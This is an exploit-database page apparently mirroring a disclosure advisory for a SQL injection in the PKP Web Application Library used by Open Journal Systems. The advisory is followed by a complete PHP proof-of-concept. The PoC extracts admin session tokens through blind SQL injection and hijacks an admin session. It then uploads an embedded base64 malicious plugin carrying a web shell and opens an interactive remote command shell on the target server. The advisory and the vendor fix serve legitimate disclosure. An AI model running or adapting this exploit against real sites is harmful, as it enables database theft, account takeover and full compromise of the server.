## https://sploitus.com/exploit?id=PACKETSTORM:213265
----------------------------------------------------------------------
PKP-WAL <= 3.5.0-1 (Institution Collector) SQL Injection Vulnerability
----------------------------------------------------------------------
[-] Software Links:
https://pkp.sfu.ca
https://github.com/pkp/pkp-lib
[-] Affected Versions:
PKP Web Application Library (aka PKP-WAL or pkp-lib) version 3.4.0-9
and prior versions, and version 3.5.0-1 and prior versions, as used in
Open Journal Systems (OJS), Open Monograph Press (OMP), and Open
Preprint Systems (OPS).
[-] Vulnerability Description:
The vulnerability is located in the /classes/institution/Collector.php
script. Specifically, into the Collector::getQueryBuilder() method,
where user input passed through the "searchPhrase" GET parameter is
not properly sanitized before being used to construct a SQL query at
lines 143 and 148 by leveraging the DB::raw() method. This can be
exploited by malicious users to e.g. read sensitive data from the
database through boolean-based or time-based SQL Injection attacks.
Successful exploitation of this vulnerability requires an account with
permissions to access the .../api/v1/institutions API endpoint, such
as a "Journal Editor" or "Production Editor" user account on OJS.
[-] Proof of Concept:
https://karmainsecurity.com/pocs/CVE-2025-67889.php
[-] Solution:
Upgrade to versions 3.4.0-10, 3.5.0-2, or later.
[-] Disclosure Timeline:
[25/10/2025] - Vendor notified
[26/10/2025] - Vendor fixed the issue and opened a public GitHub
issue: https://github.com/pkp/pkp-lib/issues/11977
[12/11/2025] - CVE identifier requested
[18/11/2025] - Version 3.4.0-10 released
[12/12/2025] - CVE identifier assigned
[29/11/2025] - Version 3.5.0-2 released
[23/12/2025] - Publication of this advisory
[-] CVE Reference:
The Common Vulnerabilities and Exposures program (cve.org) has
assigned the name CVE-2025-67889 to this vulnerability.
[-] Credits:
Vulnerability discovered by Egidio Romano.
[-] Original Advisory:
http://karmainsecurity.com/KIS-2025-10
--- packet storm added poc ---
<?php
/*
----------------------------------------------------------------------
PKP-WAL <= 3.5.0-1 (Institution Collector) SQL Injection Vulnerability
----------------------------------------------------------------------
author..............: Egidio Romano aka EgiX
mail................: n0b0d13s[at]gmail[dot]com
software link.......: https://github.com/pkp/pkp-lib
+-------------------------------------------------------------------------+
| This proof of concept code was written for educational purpose only. |
| Use it at your own risk. Author will be not responsible for any damage. |
+-------------------------------------------------------------------------+
[-] Original Advisory:
https://karmainsecurity.com/KIS-2025-10
*/
set_time_limit(0);
error_reporting(E_ERROR);
if (!extension_loaded("curl")) die("[-] cURL extension required!\n");
if ($argc != 4) die("\nUsage: php $argv[0] <URL> <Username> <Password>\n\n");
function sql_injection($sql)
{
global $ch, $url;
curl_setopt($ch, CURLOPT_POST, false);
$sql = str_replace(" ", "/**/", $sql);
$min = true;
$idx = 1;
while (1)
{
$test = 256;
for ($i = 7; $i >= 0; $i--)
{
$test = $min ? $test - pow(2, $i) : $test + pow(2, $i);
$sqli = rawurlencode("')))OR(1)RLIKE(IF(ORD(SUBSTR(({$sql}),{$idx},1))<{$test},0x28,1))#");
curl_setopt($ch, CURLOPT_URL, "{$url}api/v1/institutions?searchPhrase={$sqli}");
$min = preg_match("/Internal Server Error/i", curl_exec($ch));
}
if (($chr = $min ? $test - 1 : $test) == 0 or $chr == 255) break;
$data .= chr($chr); $min = true; $idx++;
print "\r[*] Token: {$data}";
}
return $data;
}
$url = $argv[1];
$usr = $argv[2];
$pwd = $argv[3];
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
//curl_setopt($ch, CURLOPT_PROXY, "http://127.0.0.1:8080");
print "[+] Performing login with username '{$usr}' and password '{$pwd}'\n";
curl_setopt($ch, CURLOPT_URL, "{$url}login/signIn");
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(["username" => $usr, "password" => $pwd]));
$login = curl_exec($ch);
if (!preg_match('/302 Found/i', $login)) die("[-] Login failed!\n");
if (!preg_match_all('/Cookie: .*SID=([^;]+)/i', $login, $cookie)) die("[-] Session ID not found!\n");
$sess_cookie = (count($cookie[0]) == 2) ? $cookie[0][1] : $cookie[0][0];
curl_setopt($ch, CURLOPT_HTTPHEADER, [$sess_cookie]);
$ch2 = curl_init();
curl_setopt($ch2, CURLOPT_URL, $url.'../../dbscripts/xml/version.xml');
curl_setopt($ch2, CURLOPT_HEADER, true);
curl_setopt($ch2, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch2, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch2, CURLOPT_SSL_VERIFYHOST, false);
//curl_setopt($ch2, CURLOPT_PROXY, "http://127.0.0.1:8080");
print "[+] Checking app version\n";
if (preg_match('/<tag>3_5_0/', curl_exec($ch2)))
{
print "[-] Version is 3.5.0.x\n";
$sub_query = "SELECT 1 a, 2 b, 3 c, 4 d, 5 e, 6 f UNION SELECT * FROM sessions";
}
else
{
print "[-] Version is < 3.5.0\n";
$sub_query = "SELECT 1 a, 2 b, 3 c, 4 d, 5 e, 6 f, 7 g, 8 h, 9 i UNION SELECT * FROM sessions";
}
print "[+] Checking admin session tokens\n";
$index = 0;
$found = false;
curl_setopt($ch2, CURLOPT_URL, $url.'$$$call$$$/grid/settings/plugins/settings-plugin-grid/upload-plugin');
while (!$found)
{
print "\n[+] Fetching token number ".($index+1)."\n";
$sid = sql_injection("SELECT a FROM ({$sub_query}) x WHERE a!=1 AND b=1 ORDER BY a ASC LIMIT {$index},1");
if (!strlen($sid)) die(($index == 0) ? "[-] No admin tokens found! :(\n" : "[-] No more tokens! :(\n");
curl_setopt($ch2, CURLOPT_HTTPHEADER, [substr($sess_cookie, 0, -strlen($sid)) . $sid]);
if (preg_match('/"csrfToken\\\\" value=\\\\"([^\\\\]+)/', curl_exec($ch2), $csrf)) $found = true;
else { print "\n[+] Not a valid token\n"; $index++; }
}
print "\n[+] Admin session token valid!\n\n[+] Uploading malicious plugin\n";
$pluginName = "backup-v2_0_5-0.tar.gz";
@file_put_contents($pluginName, base64_decode("H4sICBzk/2gAA2JhY2t1cC12Ml8wXzUtMC50YXIA7Zb7b9MwEMf7K/krTDWpncQSJ80D0awTbOUhBFRrmTQxVKWJSa15jhU7sIL2v3N5lHXTYAOtGyB/FMnN3eV8fnxdz6L4uBBWa51gjAOMUdX6XtVix63bGtSyPYz9APs48FrY9noe+L21VtVQSBXlUMpxRBWjnJMvMuN/kGc5kGX7F3A+p+6F+V1lVq+/nBPGTDEX66ijnBDfd8vWDjy82lbYjlPWFwTwA3vl+ju+57cQXkcxl1muP0np6a/irvP/o4Q7sOhI5JQr1JkCnT4SkZRqnhfdWSSJ704TEmcJ6W5Mx8P9g+H+h87LyWQ03e183NzsX/p0Z2Dc94g0v0Oj/88klzTj5ukJu/0+Kv27P9e/67m1/gMfDqge6L/n+I7W/10Q7sCSo2b5t9u2iduIcNA75el2+/3k+dbjNog6fLj3bndyOBouQ9H4cDwZvkFt07Tqh9GZJY6FlajEEqxIKT9oNhVY2pCi+XJgPAgjIRiNI1W+1jswtFZtEKIWggzqPNJMCSc5jUOrsoI3J4zA4TRwTGx6Jg6tpQF8SaTAgR1vC8MThFZlAAeLvi62WBYlAzu0zl/AEzM48gbPqkpGVZ+hVduM0PpR932v1Tpo9L869Fu/Blyn/8AJlvq3ezbE2S7cALX+74Lq/98weHRCpIhigp6ORkeN7I4a2R3Vm6RvGIUkaPT6POBFHVDvG/BXmkGrmwmRU0V4ItGFUOObgQBRzEDy6FPB41L2KIdJlork3Q04B0ia5YtHaENEag7NSUT5bsYV5HuVoG3EC8Y2n6BZlrEqV52xJCeqyDlSeUH6lfHMuLK3lKg9KgWLFm9h9F1IJhVcZtKr03WqK3Ln2oxExjkV5ettZKRyTBWpJ6174+Ge/ZdHlUaj0Wg0Go1Go9FoNBqNRqPRaDQajeYGfAcGciK9ACgAAA=="));
curl_setopt($ch2, CURLOPT_URL, $url.'$$$call$$$/grid/settings/plugins/settings-plugin-grid/upload-plugin-file?function=upload');
curl_setopt($ch2, CURLOPT_POSTFIELDS, ["name" => $pluginName, "uploadedFile" => new CURLFile($pluginName)]);
if (!preg_match('/"temporaryFileId":(\d+)/', curl_exec($ch2), $fileId)) die("[-] Upload failed!\n");
print "[+] Saving malicious plugin\n";
curl_setopt($ch2, CURLOPT_URL, $url.'$$$call$$$/grid/settings/plugins/settings-plugin-grid/save-upload-plugin?function=upload');
curl_setopt($ch2, CURLOPT_POSTFIELDS, http_build_query(["temporaryFileId" => $fileId[1], "csrfToken" => $csrf[1]]));
if (!preg_match('/"status":true/', curl_exec($ch2))) die("[-] Saving failed!\n");
print "[+] Launching shell\n";
curl_setopt($ch, CURLOPT_URL, "{$url}../../plugins/generic/backup/shell.php");
curl_setopt($ch, CURLOPT_POST, false);
while(1)
{
print "\npkp-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
curl_setopt($ch, CURLOPT_HTTPHEADER, ["C: ".base64_encode($cmd)]);
preg_match('/____(.*)____/s', curl_exec($ch), $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}